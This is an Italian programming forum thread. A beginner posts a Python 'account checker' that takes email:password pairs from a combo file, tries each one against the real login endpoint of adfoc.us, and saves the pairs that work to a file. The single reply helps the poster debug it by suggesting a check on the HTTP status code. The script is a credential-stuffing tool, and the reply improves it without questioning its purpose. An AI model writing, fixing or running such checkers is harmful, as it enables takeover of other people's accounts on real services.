Account Checker

di il
1 risposte

Account Checker

Buongiorno a tutti,
sono un neofita di questo linguaggio, per mio interesse ho da poco iniziato a conoscerlo. Ho iniziato facendo i soliti esercizi con piccoli calcoli if, else, while ecc.

Seguendo qualche tutorial ho provato a creare un checker di account, come mostrava il tutorial ho provato con adfoc.us ed il risultato è stato questo codice qui:
import requests



def failed(email, passowrd):

    print(f"Failed: {email}:{passowrd}")



def passed(email, password):

    print(f"Success: {email}:{password}")

    print(f"{email}:{password}", file=open("Test.txt", "w"))



def checker(data):

    email = data[0]

    password = data[1]

    succes_keyword = """<strong>Today's Earnings:</strong>"""

    api_sender = requests.session()

    source = api_sender.post("http://adfoc.us/session/create", data={"email": email,
                                                                    "password": password}).text

    if succes_keyword in source:

        passed(email, password)

    else:

        failed(email, password)



nome_combo = input("Inserire il nome del file: ")

combo = open(nome_combo, "r").readlines()

arrange = [lines.replace("/n", "")for lines in combo]

for lines in arrange:

    data = lines.split(":")

    checker(data)
Il problema è che qulsiasi account io gli faccia verificare lui lo rileva come non valido...sapreste spiegarmi il motivo ed eventualmente il modo per sistemarlo.

Grazie

1 Risposte

  • Re: Account Checker

    Innanzitutto cambierei il modo con cui verifichi se il login è andato a buon fine è abbastanza inconsistente.
    Se fai un print di source scoprirai cosa non va.

    In ogni caso al posto di leggere l'intera pagina di risposta, leggi solo il codice di risposta.
        risposta = api_sender.post("http://adfoc.us/session/create", data={"email": email,
                                                                        "password": password})
        codice = risposta.status_code
    
        if codice == 200:
            passed(email, password)
        else:
            failed(email, password, codice)
Devi accedere o registrarti per scrivere nel forum
1 risposte